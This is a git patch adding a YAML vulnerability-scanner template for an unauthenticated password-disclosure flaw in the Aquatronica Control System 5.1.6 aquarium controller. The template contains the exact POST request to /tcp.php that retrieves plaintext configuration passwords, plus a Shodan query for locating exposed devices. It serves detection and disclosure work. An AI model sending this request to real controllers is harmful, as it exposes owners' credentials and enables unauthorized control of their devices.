From da776929c49ecf39c13ade19fbd2335a7c10b861 Mon Sep 17 00:00:00 2001
From: Kazgangap <halilkirazkaya@yandex.com>
Date: Mon, 3 Jun 2024 21:01:00 +0300
Subject: [PATCH] add aquatronica control system

---
 .../aquatronica-password-disclosure.yaml      | 37 +++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 http/vulnerabilities/other/aquatronica-password-disclosure.yaml

diff --git a/http/vulnerabilities/other/aquatronica-password-disclosure.yaml b/http/vulnerabilities/other/aquatronica-password-disclosure.yaml
new file mode 100644
index 0000000000..577ba53376
--- /dev/null
+++ b/http/vulnerabilities/other/aquatronica-password-disclosure.yaml
@@ -0,0 +1,37 @@
+id: aquatronica-password-disclosure
+
+info:
+  name: Aquatronica Control System 5.1.6 - Information Disclosure
+  author: securityforeveryone
+  severity: high
+  description: |
+    The tcp.php endpoint on the Aquatronica controller is exposed to unauthenticated attackers over the network. This vulnerability allows remote attackers to send a POST request which can reveal sensitive configuration information, including plaintext passwords. This can lead to unauthorized access and control over the aquarium controller, compromising its security and potentially allowing attackers to manipulate its settings.
+  reference:
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5824.php
+    - https://www.exploit-db.com/exploits/52028
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"aquatronica"
+  tags: exploitdb,aquatronica
+
+http:
+  - raw:
+      - |
+        POST /tcp.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        function_id=tcp_xml_request&command=WS_GET_NETWORK_CFG
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "WEB_PASSWORD"
+          - "pwd=&quot;"
+        condition: and
+
+      - type: status
+        status:
+          - 200